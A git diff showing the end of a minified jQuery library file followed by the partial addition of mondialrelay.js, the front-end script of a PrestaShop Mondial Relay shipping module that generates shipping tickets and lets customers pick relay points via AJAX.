i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
        ").append(c.replace(bJ,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bK.test(this.nodeName)||bE.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bB,"\r\n")}}):{name:b.name,value:c.replace(bB,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.bind(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?bX(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),bX(a,b);return a},ajaxSettings:{url:bR,isLocal:bF.test(bS[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bT},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bV(bP),ajaxTransport:bV(bQ),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?bZ(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=b$(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.resolveWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f._Deferred(),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bD.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.done,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bC,"").replace(bH,bS[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bL),d.crossDomain==null&&(r=bN.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bS[1]&&r[2]==bS[2]&&(r[3]||(r[1]==="http:"?80:443))==(bS[3]||(bS[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bW(bP,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bG.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bI.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bM,"$1_="+x);d.url=y+(y===d.url?(bI.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bT+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bW(bQ,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){s<2?w(-1,z):f.error(z)}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)bY(g,a[g],c,e);return d.join("&").replace(bz,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var b_=f.now(),ca=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+b_++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ca.test(b.url)||e&&ca.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ca,l),b.url===j&&(e&&(k=k.replace(ca,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cb=a.ActiveXObject?function(){for(var a in cd)cd[a](0,1)}:!1,cc=0,cd;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ce()||cf()}:ce,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cb&&delete cd[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cc,cb&&(cd||(cd={},f(a).unload(cb)),cd[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cg={},ch,ci,cj=/^(?:toggle|show|hide)$/,ck=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cl,cm=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cn;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cq("show",3),a,b,c);for(var g=0,h=this.length;g=e.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),e.animatedProperties[this.prop]=!0;for(g in e.animatedProperties)e.animatedProperties[g]!==!0&&(c=!1);if(c){e.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){d.style["overflow"+b]=e.overflow[a]}),e.hide&&f(d).hide();if(e.hide||e.show)for(var i in e.animatedProperties)f.style(d,i,e.orig[i]);e.complete.call(d)}return!1}e.duration==Infinity?this.now=b:(h=b-this.startTime,this.state=h/e.duration,this.pos=f.easing[e.animatedProperties[this.prop]](this.state,h,0,1,e.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){for(var a=f.timers,b=0;b
        ";f.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),d=b.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,this.doesNotAddBorder=e.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,e.style.position="fixed",e.style.top="20px",this.supportsFixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",this.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),f.offset.initialize=f.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.offset.initialize(),f.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=ct.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!ct.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cu(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cu(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a&&a.style?parseFloat(f.css(a,d,"padding")):null},f.fn["outer"+c]=function(a){var b=this[0];return b&&b.style?parseFloat(f.css(b,d,a?"margin":"border")):null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNaN(j)?i:j}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f})(window); \ No newline at end of file diff --git a/modules/mondialrelay2/js/mondialrelay.js b/modules/mondialrelay2/js/mondialrelay.js new file mode 100755 index 0000000..e15860c --- /dev/null +++ b/modules/mondialrelay2/js/mondialrelay.js @@ -0,0 +1,1162 @@ +var PS_MRObject = (function($, undifened) { + + var selected_id_carrier = 0; + var selected_relay_point = 0; + var toggle_status_order_list = false; + var toggle_history_order_list = false; + var relay_point_max = 10; + var last_gmap_info_clicked = ''; + +// /!\ All the following list data could be store into the same variable +// But for a better reading of the code, there are separated + +// List of the supplier id which the user trying to fetch the relay + var fetchingRelayPoint = new Array(); + +// List of the relay point object + var relayPointDataContainers = new Array(); + +// List of the google map object + var GmapList = new Object(); + +// List the marker liable to the relay pint + var markerList = new Object(); + + var selected = false; + + /** + * Toggle selected orders + */ + function toggleOrderListSelection() + { + toggle_status_order_list = !toggle_status_order_list; + $('input[name="order_id_list[]"]').attr('checked', toggle_status_order_list); + } + + /** + * Toggle selected histories + */ + function toggleHistoryListSelection() + { + toggle_history_order_list = !toggle_history_order_list; + $('input[name="history_id_list[]"]').attr('checked', toggle_history_order_list); + } + + /** + * Request Ajax call to get tickets + * + * @param detailedExpeditionList + */ + function getTickets(detailedExpeditionList) + { + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'detailedExpeditionList':detailedExpeditionList, 'method':'MRGetTickets', 'mrtoken':mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.success) + { + $('#MR_error_histories').remove(); + for (id_order in json.success) + if (json.success[id_order]) + { + $('#URLA4_' + id_order).html('\ + download pdf'); + $('#URLA5_' + id_order).html('\ + download pdf'); + $('#expeditionNumber_' + id_order).html(json.success[id_order].expeditionNumber); + $('#detailHistory_' + id_order).children('td').children('input').attr('value', json.success[id_order].id_mr_history); + $('#detailHistory_' + id_order).children('td').children('input').attr('id', 'PS_MRHistoryId_' + json.success[id_order].id_mr_history); + } + } + displayBackGenerateSubmitButton(); + displayBackHistoriesSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + displayBackGenerateSubmitButton(); + } + }); + } + + /** + * Check error for the generated tickets + * @param json + */ + function checkErrorGeneratedTickets(json) + { + i = 0; + $('.PS_MRErrorList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRErrorList').length) && json && json.error) + for (id_order in json.error) + if (json.error[id_order] && json.error[id_order].length) + { + $('#errorCreatingTicket_' + id_order).children('td').children('span').html(''); + $('#errorCreatingTicket_' + id_order).fadeOut('slow'); + $('#errorCreatingTicket_' + id_order).fadeIn('slow'); + for (numError in json.error[id_order]) + $('#errorCreatingTicket_' + id_order).children('td').children('span').append(json.error[id_order][numError] + '
        '); + } + }); + checkOtherErrors(json); + } + + /** + * Check Errors code + * @param json + */ + function checkOtherErrors(json) + { + $('#otherErrors').fadeOut('fast', function() + { + if (json && json.other && json.other.error) + for (numError in json.other.error) + if (json.other.error[numError]) + { + $('#otherErrors').fadeIn('slow'); + $('#otherErrors').children('span').html(''); + $('#otherErrors').children('span').append(json.other.error[numError]); + } + }); + } + + /** + * Check anything about generated tickets + * @param json + */ + function checkSucceedGenerateTickets(json) + { + detailedExpeditionList = new Array(); + + i = 0; + $('.PS_MRSuccessList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRSuccessList').length) && json && json.success) + { + for (id_order in json.success) + if (json.success[id_order] && json.success[id_order].expeditionNumber) + { + $('#successCreatingTicket_' + id_order).children('td').children('span').html(''); + $('#PS_MRLineOrderInformation-' + id_order).remove(); + $('#successCreatingTicket_' + id_order).fadeIn('slow'); + detailedExpeditionList.push({'id_order':id_order, 'expeditionNumber':json.success[id_order].expeditionNumber}); + + if (!$('#detailHistory_' + id_order).length) + { + $('#PS_MRHistoriqueTableList').append('\ + \ + \ + ' + id_order + '\ + \ + \ + \ + '); + } + else + { + $('#detailHistory_' + id_order).children('#URLA4_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#URLA5_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#expeditionNumber_' + id_order).html(''); + } + } + } + }); + return detailedExpeditionList; + } + + /** + * Display the button to generate tickets + */ + function displayBackGenerateSubmitButton() + { + $('#PS_MRSubmitGenerateLoader').css('display', 'none'); + if ($('.order_id_list').length) + $('#PS_MRSubmitButtonGenerateTicket').fadeIn('slow'); + } + + /** + * Display the button to delete histories + */ + function displayBackHistoriesSubmitButton() + { + $('#PS_MRSubmitDeleteHistoriesLoader').css('display', 'none'); + if ($('.history_id_list').length) + $('#PS_MRSubmitButtonDeleteHistories').fadeIn('slow'); + } + + /** + * Request an ajax call to generate the tickets + */ + function generateTicketsAjax() + { + var order_id_list = new Array(); + var weight_list = new Array(); + + $('#PS_MRSubmitButtonGenerateTicket').css('display', 'none'); + $('#PS_MRSubmitGenerateLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="order_id_list[]"]:checked').each(function() + { + order_id_list.push($(this).val()); + weight_list.push(($('#weight_' + $(this).val()).val()) + '-' + $(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'order_id_list' : order_id_list, + 'numSelected' : numSelected, + 'weight_list' : weight_list, + 'method' : 'MRCreateTickets', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + detailedExpeditionList = new Array(); + + checkErrorGeneratedTickets(json); + detailedExpeditionList = checkSucceedGenerateTickets(json); + + if (detailedExpeditionList.length) + getTickets(detailedExpeditionList); + else + displayBackGenerateSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackGenerateSubmitButton(); + } + }); + delete(order_id_list); + delete(weight_list); + } + + /** + * Display deleted history details + */ + function displayDeletedHistoryInformation() + { + $('input[name="history_id_list[]"]:checked').each(function() + { + $(this).parent().parent().css('background-color', '#FFE2E3'); + }); + displayBackHistoriesSubmitButton(); + } + + /** + * Manage the removed histories id + * + * @param json + */ + function checkDeletedHistoriesId(json) + { + if (json && json.success) + { + // Allow to wait the end of the loop to manage unremoved item + i = 0; + for (numberHistoryId in json.success.deletedListId) + { + $('#PS_MRHistoryId_' + json.success.deletedListId[numberHistoryId]).parent().parent().fadeOut('fast', function() { + $(this).remove(); + // Fadeout is asynchome verify everytime the number element + if (++i == json.success.deletedListId.length) + displayDeletedHistoryInformation(json.success.deletedListId.length); + }); + } + // Use if none element exist in the list + if (i == json.success.deletedListId.length) + displayDeletedHistoryInformation(); + } + else + displayBackHistoriesSubmitButton(); + } + + /** + * Delete the histories selected by the merchant + */ + function deleteSelectedHistories() + { + var history_id_list = new Array(); + + $('#PS_MRSubmitButtonDeleteHistories').css('display', 'none'); + $('#PS_MRSubmitDeleteHistoriesLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="history_id_list[]"]:checked').each(function() + { + history_id_list.push($(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'history_id_list' : history_id_list, + 'numSelected' : numSelected, + 'method' : 'DeleteHistory', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + checkOtherErrors(json); + checkDeletedHistoriesId(json); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackHistoriesSubmitButton(); + } + }); + } + + /** + * Display a fancy box displaying details about the + * backup of the database + */ + function PS_MRGetUninstallDetail(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'showFancy', + 'href' : url, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + ((json.html.length) ? + $.fancybox(json.html, + { + 'autoDimensions' : false, + 'width' : 450, + 'height' : 'auto', + 'transitionIn' : 'none', + 'transitionOut' : 'none', + 'onComplete' : function() + { + PS_MRHandleUninstallButton(url); + + // Rewrite some css properties of Fancybox + $('#fancybox-wrap').css('width', ''); + $('#fancybox-content').css('background-color', ''); + $('#fancybox-content').css('border', ''); + } + }) + : ''); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + return false; + } + + /** + * Handle the button when a user clicked on the uninstall button + */ + function PS_MRHandleUninstallButton(url) + { + $('#PS_MR_BackupAction').click(function() + { + $.fancybox.close(); + PS_MRBackupDatabase(url); + }); + + $('#PS_MR_UninstallAction').click(function() + { + window.location.href = url; + $.fancybox.close(); + return true; + }); + + $('#PS_MR_StopUninstall').click(function() + { + $.fancybox.close(); + return false; + }); + } + + /** + * Ajax call to keep the database of the module safe + */ + function PS_MRBackupDatabase(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'backupAndUninstall', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + url += '&keepDatabase=true'; + window.location.href = url; + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * with the selected relay point information + * + * @param relayPointNumber + * @param id_carrier + */ + function PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier) + { + PS_MRSelectedRelayPoint['relayPointNum'] = relayPointNumber; + + // Ajax call to add the selection in the database (compatibility for 1.3) + // But keep this way to add a selection better that the hook + MRjQuery.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'relayPointInfo' : relayPointDataContainers[relayPointNumber], + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + if (PS_MROPC && PS_MRData.PS_VERSION < '1.5') + updateCarrierSelectionAndGift(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * Without relay point information + * + * @param id_carrier + */ + function PS_MRAddSelectedCarrierInDB(id_carrier) + { + PS_MRHideLastRelayPointList(); + + // Make the request + $.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Handle function when an user click on a shipping + * + * @param carrierSelected + * @param id_carrier + * @param MRLivraisonType + */ + function PS_MRCarrierSelectedProcess(carrierSelected, id_carrier, MRLivraisonType) + { + // Reset for any carrier changement + if (MRLivraisonType != 'LD1' && MRLivraisonType != 'LDS') + { + // Seek Relay point if it doesn't a home delivery mode + PS_MRGetRelayPoint(carrierSelected); + } + else + { + // Simply add the selected carrier to the db, relay information will be empty + PS_MRAddSelectedCarrierInDB(id_carrier); + + // Won't have any relay points + PS_MRSelectedRelayPoint['relayPointNum'] = -1; + } + } + + /** + * Hide the last displayed relay point list + */ + function PS_MRHideLastRelayPointList() + { + var value = 0; + + if (PS_MRData.PS_VERSION < '1.5') + value = $('.id_carrier:checked').val(); + else if (PS_MRData.PS_VERSION >= '1.5') + value = $('.delivery_option_radio:checked').val().replace(',', ''); + + if (value != selected_id_carrier) { + selected_id_carrier = value; + $('.PS_MRSelectedCarrier').fadeOut('fast'); + } + } + + /** + * Check if the user select a carrier and a relay point if exist + */ + function PS_MRCheckSelectedRelayPoint() + { + var input; + + // Check if the input is linked to the module and look into + // a temporary variable if a relay point has been selected + if ((input = $('input[name=id_carrier]:checked')).length && + PS_MRCarrierMethodList[input.val()] != undefined && + PS_MRSelectedRelayPoint['relayPointNum'] == 0) + { + //$('#PS_MRSelectCarrierError').fadeIn('fast'); + alert(PS_MRTranslationList['errorSelection']); + return false; + } + return true; + } + + /** + * Link the generated relay point to an handle click + * Allow to add the selected relay point in the database + */ + function PS_MRHandleSelectedRelayPoint() + { + // Link all new generated relay point Selected button to an action + $('.PS_MRSelectRelayPointButton').click(function() + { + // Unselect all previous selection (normaly juste one) + $('.PS_MRFloatRelayPointSelected').each(function() + { + $(this).attr('class', 'PS_MRFloatRelayPointSelecteIt'); + $(this).children('a').text(PS_MRTranslationList['Select']); + }); + // Make the Selection + $(this).html(PS_MRTranslationList['Selected']); + $(this).parent().attr('class', 'PS_MRFloatRelayPointSelected'); + + // Get the info about the relay point (relayPoint_RelayPointNumber_IdCarrier) + var tab = $(this).parent().parent().attr('id').split('_'); + + // Store Separated data for the ajax query + if (tab.length == 3) + { + var relayPointNumber = selected_relay_point = tab[1]; + var id_carrier = tab[2]; + PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier); + } + }); + } + + + /** + * Display the relay point fetched + * + * @param json + * @param blockContent + * @param carrier_id + */ + function PS_MRDisplayRelayPoint(json, blockContent, carrier_id) + { + if (typeof json != 'undefined' && typeof blockContent != 'undefined') + { + numberDisplayed = 0; + + // Disable Gmap for IE user + // if (!$.browser.msie) + PS_MRCreateGmap(carrier_id); + blockContent.fadeOut('fast', function() + { + $(this).children('td').html(''); + for (relayPoint in json.success) + { + // Check if the the content wasn't already displayed + contentBlockid = 'relayPoint_' + json.success[relayPoint].Num + '_' + carrier_id; + if (!$('#' + contentBlockid).size()) + { + // Set translation if a preselection exist + var BtTranslation = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + PS_MRTranslationList['Selected'] : PS_MRTranslationList['Select']; + + var classSelection = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + 'PS_MRFloatRelayPointSelected' : 'PS_MRFloatRelayPointSelecteIt'; + + $('
        ' + + '' + + '

        ' + json.success[relayPoint].LgAdr1 + '
        ' + json.success[relayPoint].LgAdr3 + + ' - ' + json.success[relayPoint].CP + ' - ' + json.success[relayPoint].Ville + + ' ' + json.success[relayPoint].Pays + '

        ' + + '
        ' + + '' + BtTranslation + '' + + '
        \ +
        ').appendTo($(this).children('td')); + + // Store all the object content to prevent an ajax request + relayPointDataContainers[json.success[relayPoint].Num] = json.success[relayPoint]; + ++numberDisplayed; + // Display popup for IE user + //if (!$.browser.msie) + PS_MRAddGMapMarker(carrier_id, json.success[relayPoint].Num, contentBlockid); + /* else + $('#' + contentBlockid).children('p').click(function() { + PS_MROpenPopupDetail(json.success[relayPoint].permaLinkDetail); + });*/ + } + } + PS_MRHandleSelectedRelayPoint(); + $(this).fadeIn('fast'); + }); + } + } + + /** + * Display error about the fetch of the relay point + * + * @param errorList + * @param blockContent + */ + function PS_MRDisplayErrorRelayPoint(errorList, blockContent) + { + + blockContent.fadeOut('fast', function() + { + $(this).children('td').html(''); + for (numError in errorList) + { + $('
        ' + errorList[numError] + '
        ').appendTo($(this).children('td')); + } + $(this).fadeIn('fast'); + }); + } + + /** + * Fetch the relay point + * + * @param carrierSelected + */ + function PS_MRFetchRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Block is an input, we need the 'tr' element + blockTR = carrierSelected.parent().parent(); + // Add a new line to the table after the clicked parent element + blockTR.after(' \ + \ +
        \ + \ +
        \ + '); + + fetchingRelayPoint[carrier_id] = $('#PS_MRSelectedCarrier_' + carrier_id); + MRjQuery.ajax( + { + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'MRGetRelayPoint', + 'id_carrier' : carrier_id, + 'ajax' : true, + 'step' : 2, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.error && json.error.length) + PS_MRDisplayErrorRelayPoint(json.error, $('#PS_MRSelectedCarrier_' + carrier_id)); + else if (json && json.success) + PS_MRDisplayRelayPoint(json, $('#PS_MRSelectedCarrier_' + carrier_id), carrier_id); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + + /** + * Display the relay point of a selected Carrier and keep fetched data + * in the html page (cache) + * + * @param carrierSelected + */ + function PS_MRGetRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Init back the inital view, hide existing element, (keep cached) + element = 0; + totalElement = $('.PS_MRSelectedCarrier').size(); + + // Check 